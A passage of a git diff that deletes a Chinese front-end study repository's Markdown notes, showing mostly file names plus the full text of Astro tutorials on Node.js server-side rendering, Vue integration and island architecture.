\351\241\265\351\235\242\346\200\247\350\203\275\357\274\232\345\246\202\344\275\225\347\263\273\347\273\237\344\274\230\345\214\226\351\241\265\351\235\242.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L26 \350\231\232\346\213\237DOM\357\274\232\350\231\232\346\213\237DOM\345\222\214\345\256\236\351\231\205DOM\346\234\211\344\275\225\344\270\215\345\220\214.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L27 PWA\357\274\232\350\247\243\345\206\263\344\272\206web\345\272\224\347\224\250\345\223\252\344\272\233\351\227\256\351\242\230.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L28 Web Component\357\274\232\345\203\217\346\220\255\347\247\257\346\234\250\344\270\200\346\240\267\346\236\204\345\273\272web\345\272\224\347\224\250.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L29 HTTP1\357\274\232HTTP\346\200\247\350\203\275\344\274\230\345\214\226.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L3 HTTP\350\257\267\346\261\202\346\265\201\347\250\213\357\274\232\344\270\272\344\273\200\344\271\210\345\276\210\345\244\232\347\253\231\347\202\271\347\254\254\344\272\214\346\254\241\346\211\223\345\274\200\351\200\237\345\272\246\344\274\232\345\276\210\345\277\253.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L30 HTTP2\357\274\232\345\246\202\344\275\225\346\217\220\345\215\207\347\275\221\347\273\234\351\200\237\345\272\246.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L31 HTTP3\357\274\232\347\224\251\346\216\211TCP\343\200\201TCL\345\214\205\350\242\261 \346\236\204\345\273\272\351\253\230\346\225\210\347\275\221\347\273\234.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L32 \345\220\214\346\272\220\347\255\226\347\225\245\357\274\232\344\270\272\344\273\200\344\271\210XMLHttpRequst\344\270\215\350\203\275\350\267\250\345\237\237\350\257\267\346\261\202\350\265\204\346\272\220.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L33 \350\267\250\347\253\231\350\204\232\346\234\254\346\224\273\345\207\273XSS\357\274\232\344\270\272\344\273\200\344\271\210cookie\344\270\255\346\234\211httpOnly\345\261\236\346\200\247.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L34 CSRF\346\224\273\345\207\273\357\274\232\351\231\214\347\224\237\351\223\276\346\216\245\344\270\215\350\246\201\351\232\217\344\276\277\347\202\271.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L35 \346\262\231\347\233\222\357\274\232\351\241\265\351\235\242\345\222\214\347\263\273\347\273\237\344\271\213\351\227\264\347\232\204\351\232\224\347\246\273\345\242\231.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L36 HTTPS\357\274\232\350\256\251\346\225\260\346\215\256\344\274\240\350\276\223\346\233\264\345\256\211\345\205\250.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L4 \344\273\216\350\276\223\345\205\245URL\345\210\260\351\241\265\351\235\242\345\261\225\347\244\272\350\277\231\344\270\255\351\227\264\345\217\221\347\224\237\344\272\206\344\273\200\344\271\210\357\274\237.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L5 \346\270\262\346\237\223\346\265\201\347\250\213\357\274\210\344\270\212\357\274\211\357\274\232HTML\343\200\201CSS\345\222\214JavaScript\346\230\257\345\246\202\344\275\225\345\217\230\346\210\220\351\241\265\351\235\242\347\232\204.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L6 \346\270\262\346\237\223\346\265\201\347\250\213\357\274\210\344\270\213\357\274\211\357\274\232HTML\343\200\201CSS\345\222\214JavaScript\346\230\257\345\246\202\344\275\225\345\217\230\346\210\220\351\241\265\351\235\242\347\232\204.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L7 \345\217\230\351\207\217\346\217\220\345\215\207\357\274\232JavaScript\344\273\243\347\240\201\346\230\257\346\214\211\351\241\272\345\272\217\346\211\247\350\241\214\347\232\204\345\220\227.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L8 \350\260\203\347\224\250\346\240\210\357\274\232\344\270\272\344\273\200\344\271\210JavaScript\344\273\243\347\240\201\344\274\232\345\207\272\347\216\260\346\240\210\346\272\242\345\207\272.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L9 \345\235\227\347\272\247\344\275\234\347\224\250\345\237\237\357\274\232var\347\274\272\351\231\267\344\273\245\345\217\212\344\270\272\344\273\200\344\271\210\350\246\201\345\274\225\345\205\245let\345\222\214const.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/\351\235\242\350\257\225\351\242\230/\345\211\215\347\253\257\346\200\247\350\203\275\344\274\230\345\214\226\347\257\207.md" delete mode 100644 "src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/\351\235\242\350\257\225\351\242\230/\346\265\217\350\247\210\345\231\250\345\216\237\347\220\206\351\235\242\350\257\225\351\242\230\346\261\207\346\200\273.md" delete mode 100644 "src/\346\272\220\347\240\201\345\255\246\344\271\240/Axios \346\272\220\347\240\201\346\216\242\347\247\230.md" delete mode 100644 "src/\346\272\220\347\240\201\345\255\246\344\271\240/\344\275\277\347\224\250TS\345\260\201\350\243\205\347\273\231\345\244\247\345\256\266\347\224\250\347\232\204Axios.md" delete mode 100644 "src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\2301-10.md" delete mode 100644 "src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23011-20.md" delete mode 100644 "src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23021-30.md" delete mode 100644 "src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23031-40.md" delete mode 100644 "src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23041-50.md" delete mode 100644 "src/\347\211\233\345\256\242/\347\211\233\345\256\242\347\275\221\345\210\267\351\242\23051-60.md" delete mode 100644 "src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/CSS\345\210\267\351\242\230\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" delete mode 100644 "src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/HTML\345\210\267\351\242\230\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" delete mode 100644 "src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/JavaScript\345\210\267\351\242\230\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" delete mode 100644 "src/\347\211\233\345\256\242/\351\224\231\351\242\230\346\234\254/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234\345\237\272\347\241\200\343\200\220\351\224\231\351\242\230\346\234\254\343\200\221.md" delete mode 100644 "src/\347\224\237\350\264\242\346\234\211\351\201\223/\350\256\260\345\275\225.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\241\347\256\227\346\234\272\350\247\206\350\247\211/SIFT.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/Behavior Pattern \350\241\214\344\270\272\346\250\241\345\274\217.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/UML\345\233\276\345\205\263\347\263\273\350\257\246\350\247\243.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/\345\210\233\345\273\272\345\236\213\346\250\241\345\274\217 Creation Pattern.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/\347\211\233\345\256\242\350\256\276\350\256\241\346\250\241\345\274\217\351\227\256\351\242\230\346\200\273\347\273\223.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\247\221\345\255\246/\350\256\276\350\256\241\346\250\241\345\274\217/\347\273\223\346\236\204\345\236\213\346\250\241\345\274\217 Structural Patterns.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/CDN \345\206\205\345\256\271\345\210\206\345\217\221\347\275\221\347\273\234.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTP \344\273\243\347\220\206\345\222\214\347\274\223\345\255\230.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTP \347\211\210\346\234\254\346\225\264\345\220\210.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTPS\344\270\216SSL TLS.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/HTTPS\346\200\247\350\203\275\344\274\230\345\214\226.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/HTTP/TLS1.2\350\277\236\346\216\245\350\277\207\347\250\213\350\247\243\346\236\220.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/Nginx\357\274\232\351\253\230\346\200\247\350\203\275\347\232\204Web\346\234\215\345\212\241\345\231\250.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/OpenResty\357\274\232\346\233\264\347\201\265\346\264\273\347\232\204Web\346\234\215\345\212\241\345\231\250.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/RESTful \344\270\213\350\257\267\346\261\202\346\226\271\346\263\225\347\232\204\345\271\202\347\255\211\346\200\247.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/WAF \347\275\221\347\273\234\345\272\224\347\224\250\351\230\262\347\201\253\345\242\231.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/WebSocket.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\345\211\215\347\253\257\345\255\230\345\202\250\346\226\271\346\241\210\344\270\200\350\247\210.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\346\265\217\350\247\210\345\231\250\347\274\223\345\255\230\346\234\272\345\210\266-\347\274\223\345\255\230\344\275\215\347\275\256.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\346\265\217\350\247\210\345\231\250\347\274\223\345\255\230\346\234\272\345\210\266-\350\257\267\346\261\202\345\244\264.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/TCP\345\272\224\347\237\245\345\272\224\344\274\232\357\274\210\344\270\212\357\274\211.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/TCP\345\272\224\347\237\245\345\272\224\344\274\232\357\274\210\344\270\213\357\274\211.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/TCP\345\272\224\347\237\245\345\272\224\344\274\232\357\274\210\344\270\255\357\274\211.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/UDP\345\272\224\347\237\245\345\272\224\344\274\232.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/\350\256\241\347\275\221\345\270\270\350\200\203\351\235\242\350\257\225\351\242\230.md" delete mode 100644 "src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\351\235\242\350\257\225\351\242\230/\350\256\241\347\275\221\351\235\242\350\257\225\351\242\230\346\261\207\346\200\273.md" delete mode 100644 "src/\350\275\257\346\212\200\350\203\275/LaTeX \346\225\260\345\255\246\345\205\254\345\274\217\350\257\255\346\263\225\346\211\213\345\206\214.md" delete mode 100644 "src/\350\275\257\346\212\200\350\203\275/PPT\345\233\276\346\226\207\346\216\222\347\211\210\345\277\203\345\276\227.md" delete mode 100644 "src/\350\275\257\346\212\200\350\203\275/\345\211\215\347\253\257\345\255\246\344\271\240\347\233\256\346\240\207.md" delete mode 100644 "src/\350\275\257\346\212\200\350\203\275/\346\265\217\350\247\210\345\231\250\347\277\273\350\257\221.md" delete mode 100644 "src/\350\275\257\346\212\200\350\203\275/\347\250\213\345\272\217\345\221\230\350\275\257\346\212\200\350\203\275.md" delete mode 100644 "src/\350\275\257\346\212\200\350\203\275/\347\262\276\351\200\211\346\226\207\347\253\240\345\210\227\350\241\250.md" delete mode 100644 "src/\351\235\242\347\273\217/\345\223\224\345\223\251\345\223\224\345\223\251\351\235\242\347\273\217.md" delete mode 100644 "src/\351\235\242\347\273\217/\345\277\253\346\211\213\351\235\242\347\273\217.md" delete mode 100644 "src/\351\235\242\347\273\217/\346\230\237\347\275\221\351\224\220\346\215\267\351\235\242\347\273\217.md" delete mode 100644 "src/\351\235\242\347\273\217/\346\234\264\346\234\264\351\235\242\347\273\217.md" delete mode 100644 "src/\351\235\242\347\273\217/\347\276\216\345\233\242\351\235\242\347\273\217.md" delete mode 100644 "src/\351\235\242\347\273\217/\351\235\242\347\273\217QA/\345\277\253\346\211\213\351\235\242\350\257\225\351\242\230\346\200\273\347\273\223.md" delete mode 100644 "src/\351\235\242\347\273\217/\351\235\242\347\273\217QA/\347\276\216\345\233\242\351\235\242\347\273\217.md" delete mode 100644 "src/\351\235\242\347\273\217/\351\235\242\347\273\217QA/\351\230\277\351\207\214\351\235\242\347\273\217\351\227\256\351\242\230\351\233\206\345\220\210.md" delete mode 100644 "src/\351\235\242\350\257\225\351\200\232\347\224\250/Node.js \345\211\215\347\253\257\351\235\242\350\257\225\351\242\230.md" delete mode 100644 "src/\351\235\242\350\257\225\351\200\232\347\224\250/share.md" delete mode 100644 "src/\351\235\242\350\257\225\351\200\232\347\224\250/\343\200\214\347\256\227\346\263\225\344\270\216\346\225\260\346\215\256\347\273\223\346\236\204\343\200\215\346\242\263\347\220\2066\345\244\247\346\216\222\345\272\217\347\256\227\346\263\225 \344\270\272\344\272\206offer.md" delete mode 100644 "src/\351\235\242\350\257\225\351\200\232\347\224\250/\345\211\215\347\253\257\345\267\245\347\250\213\345\270\210\351\235\242\350\257\225\346\211\213\345\206\214.md" delete mode 100644 "src/\351\235\242\350\257\225\351\200\232\347\224\250/\345\211\215\347\253\257\351\235\242\350\257\225\345\215\201\344\270\207\345\255\227\344\271\246\347\261\215\346\200\273\347\273\223.md" delete mode 100644 "src/\351\235\242\350\257\225\351\200\232\347\224\250/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234\351\235\242\350\257\225\351\242\230.md" diff --git "a/src/Astro/Astro \344\270\255\345\220\257\347\224\250\346\234\215\345\212\241\345\231\250\347\253\257\346\270\262\346\237\223.md" "b/src/Astro/Astro \344\270\255\345\220\257\347\224\250\346\234\215\345\212\241\345\231\250\347\253\257\346\270\262\346\237\223.md" deleted file mode 100644 index eb1acd82..00000000 --- "a/src/Astro/Astro \344\270\255\345\220\257\347\224\250\346\234\215\345\212\241\345\231\250\347\253\257\346\270\262\346\237\223.md" +++ /dev/null @@ -1,128 +0,0 @@ -# Astro 中通过 Node.js 启用服务器端渲染 - -在 Astro 中启用服务端渲染(SSR, Server Side Rendering)非常简单,而且启用后可以使用新的特性: - -- 在应用程序中实现登录状态会话。 -- 用 `fetch` 动态调用 API 来渲染数据。 -- 通过**适配器**部署你的网站。 - -## 适配器 - -为了启用 SSR,你需要使用适配器(Adapter)。这是因为 SSR 需要服务器**运行时**环境运行服务端代码。服务端代码可以调用该运行时提供的 API。 - -安装一个适配器可以让 Astro 访问相应的 API,并允许 Astro 输出一个脚本(server脚本),在服务器上运行我们项目。 - -现有以下适配器,未来将会有更多适配器支持: - -- [Cloudflare](https://github.com/withastro/astro/tree/main/packages/integrations/cloudflare) -- [Deno](https://github.com/withastro/astro/tree/main/packages/integrations/deno) -- [Netlify](https://github.com/withastro/astro/tree/main/packages/integrations/netlify) -- [Node.js](https://github.com/withastro/astro/tree/main/packages/integrations/node) -- [Vercel](https://github.com/withastro/astro/tree/main/packages/integrations/vercel) - -我们主要介绍Node.js 适配器 - -## 安装Node.js适配器 - -使用以下 astro add 命令添加适配器,以在 Astro 项目中启用 SSR。这将安装适配器并一步对项目的 `astro.config.mjs` 文件进行适当的更改。 - -```shell -# Using NPM -npx astro add node -# Using Yarn -yarn astro add node -# Using PNPM -pnpm astro add node -``` - -**手动安装:** - -1. 在终端中安装Node.js适配器 - - ```shell - npm install @astrojs/node - ``` - -2. 在 `astro.config.mjs` 项目配置文件中添加两行 - - ```js - // astro.config.mjs - import { defineConfig } from 'astro/config'; - import node from '@astrojs/node'; - - export default defineConfig({ - output: 'server', - adapter: node({ - mode: 'standalone' - }), - }); - ``` - -## 配置项参数 - -`@astrojs/node` 可以通过将选项参数传递给适配器函数来配置: - -### Mode 模式设置 - -控制适配器是构建为中间件`middleware`模式还是独立`standalone`模式。 - -- 中间件模式允许将构建的输出用作另一个 Node.js 服务器的中间件,例如 Express.js 或 Fastify。 - - ```js - import { defineConfig } from 'astro/config'; - import node from '@astrojs/node'; - - export default defineConfig({ - output: 'server', - adapter: node({ - mode: 'middleware' - }), - }); - ``` - -- 独立模式构建的服务器脚本,随着入口模块的运行自动启动。这使得我们可以更轻松地将构建部署到主机,而无需任何其他代码。 - -## 启动 - -根据两种不同的模式,有着不同的启动和使用方法 - -### 中间件模式 - -服务器入口点默认构建为 `./dist/server/entry.mjs`。该模块导出一个处理函数,可以与任何支持 Node 请求和响应对象的框架一起使用,比如Express: - -```js -import express from 'express'; -import { handler as ssrHandler } from './dist/server/entry.mjs'; - -const app = express(); -app.use(express.static('dist/client/')) // 静态资源文件 -app.use(ssrHandler); - -app.listen(8080); -``` - -**注意:** 中间件模式不提供文件服务,需要配置 HTTP 框架,如上代码所示。默认情况下,客户端输出在` ./dist/client/` - -### 独立模式 - -独立模式启动很简单,只要执行构建的入口文件`./dist/server/entry.mjs` - -```shell -node ./dist/server/entry.mjs -``` - -对于独立模式,服务端除了处理页面和 API 路由之外还具有文件服务。 - -#### 自定义主机和端口 - -```shell -HOST=0.0.0.0 PORT=3000 node ./dist/server/entry.mjs -``` - - - -> **参考:** -> -> [astro/packages/integrations/node at main · withastro/astro](https://github.com/withastro/astro/tree/main/packages/integrations/node) -> -> [服务端渲染 🚀 Astro 文档](https://docs.astro.build/zh-cn/guides/server-side-rendering/) diff --git "a/src/Astro/Vue\351\233\206\346\210\220.md" "b/src/Astro/Vue\351\233\206\346\210\220.md" deleted file mode 100644 index 7d30b280..00000000 --- "a/src/Astro/Vue\351\233\206\346\210\220.md" +++ /dev/null @@ -1,220 +0,0 @@ -# Astro 集成 Vue 框架教程 - -Astro的集成能力支持我们使用Vue3编写的组件,并且支持SSR(server-side rendering)和CSH(client-side hydration) - -> **Astro 集成简介:** -> -> 使用 **Astro 集成**只需几行代码就能为你的项目添加新的功能和行为。你可以自己编写一个自定义的集成,或者从 [npm](https://www.npmjs.com/search?q=keywords%3Aastro-component&ranking=popularity) 获取流行集成。 -> -> - 解锁 React、Vue、Svelte、Solid 和其他流行的 UI 框架。 -> - 只需几行代码就能整合 Tailwind 和 Partytown 等工具。 -> - 为你的项目添加新功能,如自动生成网站地图。 -> - 编写自定义代码,与构建过程、开发服务器等挂钩。 -> -> 目前只默认支持官方 Astro 集成(发布在 npm 的 `@astrojs/` 范围包),以保护用户不被破坏。 -> -> [使用集成 🚀 Astro 文档](https://docs.astro.build/zh-cn/guides/integrations-guide/) - -## 安装 - -有两种方法可以将集成添加到项目中。让我们先介绍最方便的选项! - -### `astro add` 指令 - -Astro 包括一个用于添加第一方集成的 CLI 工具:`astro add`。该命令将: - -1. (可选)安装所有必要的依赖项和对等依赖项 -2. (也是可选的)更新项目的 `astro.config.* `文件以应用此集成 - -要安装 @astrojs/vue,请在项目目录运行以下命令并按照提示操作: - -```shell -# Using NPM -npx astro add vue -# Using Yarn -yarn astro add vue -# Using PNPM -pnpm astro add vue -``` - -### 手动安装依赖 - -1. 安装`@astrojs/vue`集成 - - ```shell - npm install @astrojs/vue - ``` - - 大多数包管理器也会安装相关的对等依赖项。尽管如此,如果你在启动 Astro 时看到 “Cannot find package ‘vue’”(或类似的)警告,则你需要再次手动安装 Vue: - - ```shell - npm install vue - ``` - -2. 修改`astro.config.*`以应用集成 - - ```js - import vue from '@astrojs/vue'; - - export default { - // ... - integrations: [vue()], - } - ``` - -## 开始使用 - -Astro 使用的是 jsx like的语法,所以如果你是React选手可能会比较熟悉,我这边演示一下Vue使用方法,详细内容可见[框架组件 🚀 Astro 文档](https://docs.astro.build/zh-cn/core-concepts/framework-components/#using-framework-components) - -在 Astro 页面、布局和组件中就像 Astro 组件一样使用你的 JavaScript 框架组件。所有组件都可放在 `/src/components` 目录中,或者你也可以放在任何你喜欢的地方。 - -要使用框架组件,你需要在 Astro 组件脚本中使用相对路径导入它们。然后在其他组件、HTML 元素和类 JSX 表达式中使用它们。 - -比如在Layout组件中嵌套 - -```vue -// packages\app\src\layouts\Layout.astro ---- -import Navbar from './components/Navbar.vue'; - -export interface Props { - title: string; -} - -const { title } = Astro.props; ---- - - - - - - - - - {title} - - // 这里! - - - - -``` - -### 激活组件 - -框架组件可以使用 `client:*` 指令实现激活。它是个用来定义你的组件应该如何被**渲染**和激活的属性。 - -[客户端指令](https://docs.astro.build/zh-cn/reference/directives-reference/#客户端指令)描述了你的组件是否应该在构建时被渲染,以及你的组件的 JavaScript 何时应该被浏览器加载. - -大多数指令会在构建时在服务器上渲染组件。组件 JS 将根据特定的指令被分发到客户端。当组件的 JS 导入完成后,组件将进行激活。 - -```vue ---- -// 示例:浏览器中的激活框架组件。 -import InteractiveButton from '../components/InteractiveButton.jsx'; -import InteractiveCounter from '../components/InteractiveCounter.jsx'; ---- - - - - - -``` - -**可用激活指令** - -几个适用于 UI 框架组件的激活指令:`client:load`、`client:idle`、`client:visible`、`client:media={QUERY}` 和 `client:only={FRAMEWORK}`。 - -> 这即使是在SSR模式下也是必要的 - -### 关于Typescript - -Astro 内置了对 TypeScript的支持。你可以在 Astro 项目中导入 `.ts` 和 `.tsx` 文件,甚至可以直接在 Astro 组件中编写 TypeScript 代码。同样的,这对框架组件同样适用,比如Vue中: - -```vue - -``` - -直接就可以开始使用TS啦~ - -## Options - -此集成由 `@vitejs/plugin-vue` 提供支持。如果要自定义 Vue 编译器,可以为集成提供选项。更多详细信息,请参阅`@vitejs/plugin-vue` 文档 [@vitejs/plugin-vue - npm](https://www.npmjs.com/package/@vitejs/plugin-vue)。 - -```js -import vue from '@astrojs/vue'; - -export default { - // ... - integrations: [vue({ - template: { - compilerOptions: { - // treat any tag that starts with ion- as custom elements - isCustomElement: tag => tag.startsWith('ion-') - } - } - // ... - })], -} -``` - -## 应用入口 appEntrypoint - -我们可以扩展 Vue 应用程序实例,将 appEntrypoint 选项设置为相对于根目录的导入说明符(例如,appEntrypoint:“/src/pages/_app”)。 - -```js -import { defineConfig } from 'astro/config'; -import vue from '@astrojs/vue'; - -export default defineConfig({ - integrations: [ - vue({ appEntrypoint: '/src/pages/_app' }) - ], -}); -``` - -该文件的默认导出应该是一个在渲染之前接受 Vue App 实例的函数,允许使用自定义 Vue 插件、`app.use` 和其他针对高级用例的自定义。 - -```ts -import type { App } from 'vue'; -import i18nPlugin from 'my-vue-i18n-plugin'; - -export default (app: App) => { - app.use(i18nPlugin); -} -``` - -## 开启 jsx - -设置 Vue JSX 为 true - -```js -import { defineConfig } from 'astro/config'; -import vue from '@astrojs/vue'; - -export default defineConfig({ - integrations: [ - vue({ jsx: true }) - ], -}); -``` - -此时需要自定义 Vue JSX 编译器的话,请传递Options对象而不是布尔值。有关详细信息,请参阅`@vitejs/plugin-vue-jsx` [@vitejs/plugin-vue-jsx - npm](https://www.npmjs.com/package/@vitejs/plugin-vue-jsx)文档。 - -```js -import { defineConfig } from 'astro/config'; -import vue from '@astrojs/vue'; - -export default defineConfig({ - integrations: [ - vue({ - jsx: { - // treat any tag that starts with ion- as custom elements - isCustomElement: tag => tag.startsWith('ion-') - } - }) - ], -}); -``` \ No newline at end of file diff --git "a/src/Astro/\346\235\245\344\272\206\350\247\243\344\270\200\344\270\213 Island Architecture \345\255\244\345\262\233\346\236\266\346\236\204.md" "b/src/Astro/\346\235\245\344\272\206\350\247\243\344\270\200\344\270\213 Island Architecture \345\255\244\345\262\233\346\236\266\346\236\204.md" deleted file mode 100644 index 437b1095..00000000 --- "a/src/Astro/\346\235\245\344\272\206\350\247\243\344\270\200\344\270\213 Island Architecture \345\255\244\345\262\233\346\236\266\346\236\204.md" +++ /dev/null @@ -1,105 +0,0 @@ -# 来了解一下 Island Architecture 孤岛架构 - -> 原文标题:Island Architecture -> -> 原文:[Island Architecture | Maina Wycliffe Blog](https://mainawycliffe.dev/blog/island-architecture/) -> -> 作者:[Maina Wycliffe](https://github.com/mainawycliffe) - -建立一个网站有不同的方法,其中之一便是多页应用程序(MPA),它大约在十年前就过时了,现在又重新流行起来。MPA已经被Angular和React以及其他现代框架所普及的单页应用(SPA)方法所取代。 - -由于应用软件迭代趋势的运作方式,方法/工具很容易过时。这并不是因为它的效率低,而是因为开发人员不再使用它们来支持其他东西。这就是多页应用(MPA)所发生的事情,开发人员开始采用流行的Web框架,如Angular、React、Vue等。这导致了SPA使用的上升,因为框架变得越来越流行。 - -由于SPA的工作方式,导致我们发送到浏览器的 Javascript 数量增加了。也就是说,如果没有 React 来管理状态和渲染,你就不能有一个 React Web 应用程序。SPA 使用 Javascript 来呈现要在浏览器中显示的 HTML。在许多情况下,这是可取的,例如,在 Facebook 或 YouTube 等网络应用程序中,管理状态至关重要。但在其他情况下,这没有意义,例如博客、个人作品集等。 - -## SSR Server-Side Rendering 服务端渲染 - -当使用 Angular 或 React 等SPA框架时,服务器做的很少,所有的渲染都是在客户端完成的,也就是所谓的客户端渲染。要查看内容,你首先需要下载框架的运行态(JS需要支撑你的web应用程序),还需要一个渲染内容的环境,也就是浏览器。 - -这有一些缺点,值得注意的是它在屏幕上显示一些东西的速度很慢,这对低端设备和较慢的网络状况和搜索引擎优化的影响更糟——机器人和爬虫通常无法渲染这些页面,也不能通过解析内容来获取显示结果。 - -我们有两个标准的解决方案来解决上述问题:服务器端渲染(SSR)和构建时渲染(SSG)。SSG 类似于 SSR,但在构建时,不需要在服务器上对每个请求进行渲染。SSG 通常用于内容不那么动态的网站。这两种解决方案的问题在于,它们不能解决 SPA 的问题,而是推迟它。 - -如果你想要拥有任何形式的交互性,比如打开和关闭网页应用上的导航栏,你就需要从SSG或SSR中为渲染的应用润色。这其实是引导你正在使用的框架的过程,从服务器传输状态,以便框架可以接管。这通常发生在绘制第一个内容之后(从服务器呈现服务器端呈现的 HTML 之后),但在 Web 应用中的交互性之前。 - -这意味着必须下载和解析框架所需的JS,并且用户必须等待所有这些事情发生后才能与您的Web应用程序进行交互。这意味着即使在我们不需要交互性的页面上,即“关于我们”页面、条款等等,仍然需要执行所有这些下载和解析操作,这有点没有必要。 - -## 岛屿 Islands - -这就是孤岛架构(Islands Architecture)的用武之地了。想象一下:你可以使用纯 HTML 和 CSS 为所有静态内容创建 Web 应用程序,然后添加动态内容或交互区域(孤岛),这些区域可以使用框架来添加交互性,并且这些区域可以使用任何框架,运行态框架只有在使用到它的页面上才会被下载,而不是在网站的初始加载中。 - -Astro([我的网站](https://mainawycliffe.dev/)是用Astro构建的)、Marko和最近的Qwik等Web框架都在实现这种架构方法。以Astro为例,Astro组件使用JSX的某些变体,但没有客户端状态,因此没有运行态。 - -## Astro 框架 - -Astro使用JS选择加入的概念,这意味着在默认情况下,不会生成Javascript,除非你主动告诉Astro需要包含这些Javascript。如下所示: - -```html - -``` - -以上JS代码片段来切换移动菜单的打开和关闭 - -> Astro组件不能被 **hydrate**(注水),因为它们是HTML模板组件,任何 Javascript脚本都需要通过如上方法或通过 React、SolidJS 等框架包含其在内。 - - -第二种选择是引入你使用的框架,例如React, Preact, Lit, slvelte, Vue等,来创建在你的web应用中添加交互区域(岛)的组件。 - -```jsx -// index.astro file ---- -import ReactComponent from "./ReactComponent" - ---- - - -``` - -你也可以控制必要部位的补水时间。这是通过指示Astro何时进行注水作用来完成的。例如,您可能希望一个岛在装载时或仅当它可见时才加水。有几个指令可以帮助您实现这一点,您可以[在这里](https://docs.astro.build/en/core-concepts/component-hydration/)了解更多。 - -``` -// index.astro file -import ReactComponent from "./ReactComponent" - - -``` - -## Marko 和 Qwik 框架 - 